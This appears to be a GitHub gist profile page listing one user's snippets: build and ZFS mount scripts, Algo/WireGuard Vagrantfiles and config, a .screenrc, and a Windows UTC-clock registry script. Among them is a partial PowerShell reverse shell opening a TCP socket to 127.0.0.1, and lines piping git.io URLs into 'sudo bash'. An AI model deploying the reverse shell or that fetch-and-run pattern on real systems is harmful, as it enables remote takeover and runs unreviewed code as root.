Skip to content

Instantly share code, notes, and snippets.

View elreydetoda's full-sized avatar

elreydetoda

View GitHub Profile
@elreydetoda
elreydetoda / samurai_build-export.sh
Created March 23, 2020 12:04
build script for automating samuraiwtf builds
#!/usr/bin/env bash
set -euo pipefail
# set -x
if [[ $# -ne 1 ]] ; then
printf "Please pass at least 1 arguments: %s\n" "path to samurai src folder"
exit 1
fi
@elreydetoda
elreydetoda / mini-reverse.ps1
Created November 1, 2019 14:53 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@elreydetoda
elreydetoda / zfs_cmdz.sh
Last active October 23, 2019 03:07
these are the zfs mount and unmount commands based on this: https://github.com/zfsonlinux/zfs/wiki/Ubuntu-18.04-Root-on-ZFS#troubleshooting
#!/usr/bin/env bash
## run all commands by doing
# curl -fsSL 'https://git.io/Je0e6' | sudo bash
## running mount commands
curl -fsSL 'https://git.io/Je0eX' | sudo bash
## running umount commands
# get out of chroot
#!/usr/bin/env bash
zpool export -a
zpool import -N -R /mnt rpool
zpool import -N -R /mnt bpool
# skipping first rpool/ROOT and initial root (i.e. rpool/ROOT/ubuntu), because doesn't have tailing '/' so grabs numbers
zfs list | grep ROOT | tail -n+3
zfs mount rpool/ROOT/ubuntu
zfs mount -a
mount --rbind /dev /mnt/dev
# if you a vanilla install
wget 'https://gist.githubusercontent.com/elreydetoda/bac472aef59fc8d47145c4f25330187b/raw/Vagrantfile'
# if you want my personal config
wget -O Vagrantfile 'https://gist.githubusercontent.com/elreydetoda/bac472aef59fc8d47145c4f25330187b/raw/Vagrantfile.elrey'
## my personal config contains the following customizations
# - pki_in_tmpfs: false - changed to not be in tmpfs so you can continue to use wireguard for long periods of time (although, cool feature checkout more here: https://github.com/trailofbits/algo/issues/145)
# - disables ipsec vpn, to only use wireguard
# - sets the wireguard_PersistentKeepalive to 25 to help with NAT Traversal (https://www.wireguard.com/quickstart/#nat-and-firewall-traversal-persistence)
@elreydetoda
elreydetoda / config.cfg
Created October 14, 2019 09:04
algo_blog_post_02 personal algo config for algo blog post: https://blog.secureideas.com/2019/10/wireguard's-pki-in-5-steps-or-less.html
---
# This is the list of users to generate.
# Every device must have a unique username.
# You can generate up to 250 users at one time.
# Usernames with leading 0's or containing only numbers should be escaped in double quotes, e.g. "000dan" or "123".
users:
- phone
- laptop
- desktop
@elreydetoda
elreydetoda / Vagrantfile
Last active October 14, 2019 09:09
algo_blog_post_01 vagrant file for my personal config algo blog post: https://blog.secureideas.com/2019/10/wireguard's-pki-in-5-steps-or-less.html
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-18.04"
config.vm.provision "shell", inline: <<-SHELL
apt-get update
export DEBIAN_FRONTEND='noninteractive'
sudo apt-get update && sudo apt-get install \
build-essential \
@elreydetoda
elreydetoda / Vagrantfile
Last active October 14, 2019 09:12
algo_blog_post_00 base vagrant box for algo blog post: https://blog.secureideas.com/2019/10/wireguard's-pki-in-5-steps-or-less.html
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-18.04"
config.vm.provision "shell", inline: <<-SHELL
apt-get update
export DEBIAN_FRONTEND='noninteractive'
sudo apt-get update && sudo apt-get install \
build-essential \
@elreydetoda
elreydetoda / .screenrc
Last active September 27, 2019 18:42 — forked from joaopizani/.screenrc
A killer GNU Screen Config
# the following two lines give a two-line status, with the current window highlighted
hardstatus alwayslastline
hardstatus string '%{= kG}[%{G}%H%? %1`%?%{g}][%= %{= kw}%-w%{+b yk} %n*%t%?(%u)%? %{-}%+w %=%{g}][%{B}%m/%d %{W}%C%A%{g}]'
# huge scrollback buffer
defscrollback 5000
# no welcome message
startup_message off
@elreydetoda
elreydetoda / Set-WindowsUTCTime.ps1
Last active April 15, 2020 11:35
used to make windows recognize the bios clock as UTC, which is used by a lot of *nix distros, and will screw up your time if you dual boot.
# script came from: https://devblogs.microsoft.com/scripting/update-or-add-registry-key-value-with-powershell/
# values for script came from: https://weblogs.asp.net/dfindley/Set-hardware-clock-to-UTC-on-Windows-_2800_or-how-to-make-the-clock-work-on-a-Mac-Book-Pro_2900_
# Registry path for where the key should go
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
# name of registry key you are adding
$Name = "RealTimeIsUniversal"
# value of key
$value = "1"